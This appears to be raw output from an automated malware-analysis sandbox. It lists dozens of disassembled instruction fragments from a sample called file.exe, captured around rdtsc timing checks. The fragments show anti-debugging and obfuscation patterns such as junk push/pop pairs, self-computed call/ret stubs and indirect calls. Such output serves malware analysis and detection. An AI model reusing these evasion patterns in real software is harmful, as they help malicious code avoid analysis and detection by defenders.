Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCC9A5 second address: FCC9C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C515287h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCC9C7 second address: FCCA2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F230C5197ABh 0x00000009 popad 0x0000000a pop eax 0x0000000b nop 0x0000000c and ebx, 333FAA36h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007F230C5197A8h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 00000014h 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e mov bx, 392Dh 0x00000032 add dword ptr [ebp+1245DC02h], ecx 0x00000038 push 00000000h 0x0000003a xchg eax, esi 0x0000003b push eax 0x0000003c push edx 0x0000003d js 00007F230C5197BEh 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCCA2A second address: FCCA3D instructions: 0x00000000 rdtsc 0x00000002 jg 00007F230C515278h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCCA3D second address: FCCA43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCCA43 second address: FCCA49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD988 second address: FCD98E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD98E second address: FCDA25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C51527Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jno 00007F230C515284h 0x00000012 nop 0x00000013 jp 00007F230C515278h 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007F230C515278h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 00000017h 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 sub bx, D3A5h 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push eax 0x0000003f call 00007F230C515278h 0x00000044 pop eax 0x00000045 mov dword ptr [esp+04h], eax 0x00000049 add dword ptr [esp+04h], 00000015h 0x00000051 inc eax 0x00000052 push eax 0x00000053 ret 0x00000054 pop eax 0x00000055 ret 0x00000056 xor dword ptr [ebp+122D1F3Ah], edi 0x0000005c xchg eax, esi 0x0000005d jmp 00007F230C515282h 0x00000062 push eax 0x00000063 push ebx 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCDA25 second address: FCDA29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCBD4C second address: FCBD50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCEA5E second address: FCEAB5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007F230C5197A8h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 mov edi, dword ptr [ebp+122D1F8Eh] 0x0000002b mov ebx, edx 0x0000002d push 00000000h 0x0000002f mov edi, dword ptr [ebp+122D28AAh] 0x00000035 push esi 0x00000036 or dword ptr [ebp+122DB307h], ebx 0x0000003c pop edi 0x0000003d push 00000000h 0x0000003f mov edi, dword ptr [ebp+122D1F3Ah] 0x00000045 xchg eax, esi 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F230C5197ABh 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCFB2E second address: FCFB41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C51527Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCFB41 second address: FCFB45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCCC28 second address: FCCC2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD1B43 second address: FD1B64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C5197B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d jp 00007F230C5197A6h 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD1B64 second address: FD1B6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F230C515276h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD1B6F second address: FD1BCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push eax 0x00000009 mov edi, dword ptr [ebp+1246EDE3h] 0x0000000f pop edi 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007F230C5197A8h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push esi 0x00000031 call 00007F230C5197A8h 0x00000036 pop esi 0x00000037 mov dword ptr [esp+04h], esi 0x0000003b add dword ptr [esp+04h], 0000001Dh 0x00000043 inc esi 0x00000044 push esi 0x00000045 ret 0x00000046 pop esi 0x00000047 ret 0x00000048 xchg eax, esi 0x00000049 push esi 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD0DB5 second address: FD0DBE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD2BC0 second address: FD2BC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD2BC4 second address: FD2BCA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD2BCA second address: FD2BD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD2BD0 second address: FD2BD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3B2D second address: FD3B4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F230C5197B8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD2D81 second address: FD2DA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C515282h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a je 00007F230C515288h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD2DA2 second address: FD2DA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD2DA6 second address: FD2DAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD7CFB second address: FD7CFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD7CFF second address: FD7D12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C51527Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5E1A second address: FD5E75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov bx, C026h 0x0000000c movzx edi, si 0x0000000f push dword ptr fs:[00000000h] 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007F230C5197A8h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 push ebx 0x00000031 mov ebx, dword ptr [ebp+122D3ACAh] 0x00000037 pop ebx 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f movzx edi, bx 0x00000042 mov eax, dword ptr [ebp+122D0499h] 0x00000048 mov ebx, dword ptr [ebp+122D3972h] 0x0000004e push FFFFFFFFh 0x00000050 cld 0x00000051 nop 0x00000052 push ecx 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD8EE7 second address: FD8EF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F230C515276h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD8EF2 second address: FD8EF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD8EF8 second address: FD8EFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6D90 second address: FD6D94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD8EFC second address: FD8F00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD8F00 second address: FD8F0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD8F0F second address: FD8F22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C51527Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD7ECB second address: FD7ECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD7FBF second address: FD7FC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD7FC5 second address: FD7FC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD7FC9 second address: FD7FCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDE3A4 second address: FDE3AA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDE3AA second address: FDE3B7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE403D second address: FE4043 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE4043 second address: FE4047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE4047 second address: FE404B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE404B second address: FE4056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE92CA second address: FE92EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C5197AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007F230C5197ACh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE94F8 second address: FE94FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE94FD second address: FE9518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F230C5197AFh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9518 second address: FE9536 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C515281h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9536 second address: FE953A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE953A second address: FE955E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F230C51527Dh 0x0000000c pop ecx 0x0000000d popad 0x0000000e mov eax, dword ptr [eax] 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F230C51527Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE955E second address: FE9564 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9564 second address: FE9568 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9642 second address: E21BCA instructions: 0x00000000 rdtsc 0x00000002 js 00007F230C5197B4h 0x00000008 jmp 00007F230C5197AEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 jnc 00007F230C5197AAh 0x00000019 pop eax 0x0000001a jmp 00007F230C5197B7h 0x0000001f push dword ptr [ebp+122D04A9h] 0x00000025 jmp 00007F230C5197ABh 0x0000002a call dword ptr [ebp+122D2851h] 0x00000030 pushad 0x00000031 sub dword ptr [ebp+122D283Fh], ecx 0x00000037 cmc 0x00000038 xor eax, eax 0x0000003a mov dword ptr [ebp+122D283Fh], edi 0x00000040 mov edx, dword ptr [esp+28h] 0x00000044 jmp 00007F230C5197B7h 0x00000049 mov dword ptr [ebp+122D391Eh], eax 0x0000004f pushad 0x00000050 jnp 00007F230C5197A9h 0x00000056 movzx esi, si 0x00000059 mov al, bl 0x0000005b popad 0x0000005c mov esi, 0000003Ch 0x00000061 or dword ptr [ebp+122D283Fh], ebx 0x00000067 add esi, dword ptr [esp+24h] 0x0000006b stc 0x0000006c lodsw 0x0000006e pushad 0x0000006f mov ecx, dword ptr [ebp+122D396Ah] 0x00000075 pushad 0x00000076 clc 0x00000077 jmp 00007F230C5197AEh 0x0000007c popad 0x0000007d popad 0x0000007e add eax, dword ptr [esp+24h] 0x00000082 je 00007F230C5197ADh 0x00000088 ja 00007F230C5197A7h 0x0000008e mov ebx, dword ptr [esp+24h] 0x00000092 cld 0x00000093 nop 0x00000094 pushad 0x00000095 jne 00007F230C5197ACh 0x0000009b push eax 0x0000009c push edx 0x0000009d push eax 0x0000009e push edx 0x0000009f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82B79 second address: F82B7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEE38A second address: FEE38E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEE4F5 second address: FEE4F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEE4F9 second address: FEE4FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEE4FD second address: FEE512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F230C51527Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEE8F4 second address: FEE908 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F230C5197A6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F230C5197A6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEEE32 second address: FEEE36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEEE36 second address: FEEE51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F230C5197B1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEEE51 second address: FEEE55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF2F89 second address: FF2F8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF2F8F second address: FF2F95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF34FD second address: FF350F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F230C5197A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF3A76 second address: FF3A7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF3A7A second address: FF3A80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF3A80 second address: FF3A97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F230C51527Fh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFD228 second address: FFD22C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFD22C second address: FFD23D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a jnp 00007F230C515276h 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFD23D second address: FFD245 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFD245 second address: FFD249 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFD249 second address: FFD24D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF345 second address: FBF36C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C515289h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F230C515276h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF36C second address: FBF370 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF370 second address: FA644C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F230C51528Ch 0x0000000c popad 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F230C515278h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 mov dx, ax 0x0000002b pushad 0x0000002c mov si, cx 0x0000002f mov dword ptr [ebp+122D26E4h], ecx 0x00000035 popad 0x00000036 lea eax, dword ptr [ebp+124710CFh] 0x0000003c push 00000000h 0x0000003e push esi 0x0000003f call 00007F230C515278h 0x00000044 pop esi 0x00000045 mov dword ptr [esp+04h], esi 0x00000049 add dword ptr [esp+04h], 00000016h 0x00000051 inc esi 0x00000052 push esi 0x00000053 ret 0x00000054 pop esi 0x00000055 ret 0x00000056 mov ecx, eax 0x00000058 push eax 0x00000059 jmp 00007F230C515282h 0x0000005e mov dword ptr [esp], eax 0x00000061 clc 0x00000062 call dword ptr [ebp+122D1EC4h] 0x00000068 push edx 0x00000069 jng 00007F230C51527Eh 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF814 second address: FBF81A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF81A second address: FBF844 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F230C51527Dh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F230C515282h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBFA21 second address: FBFA25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBFA25 second address: FBFA73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 771AA625h 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F230C515278h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D2895h], edi 0x0000002e cmc 0x0000002f push 9FBA7967h 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F230C51527Eh 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBFC14 second address: FBFC18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBFCA4 second address: FBFCAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
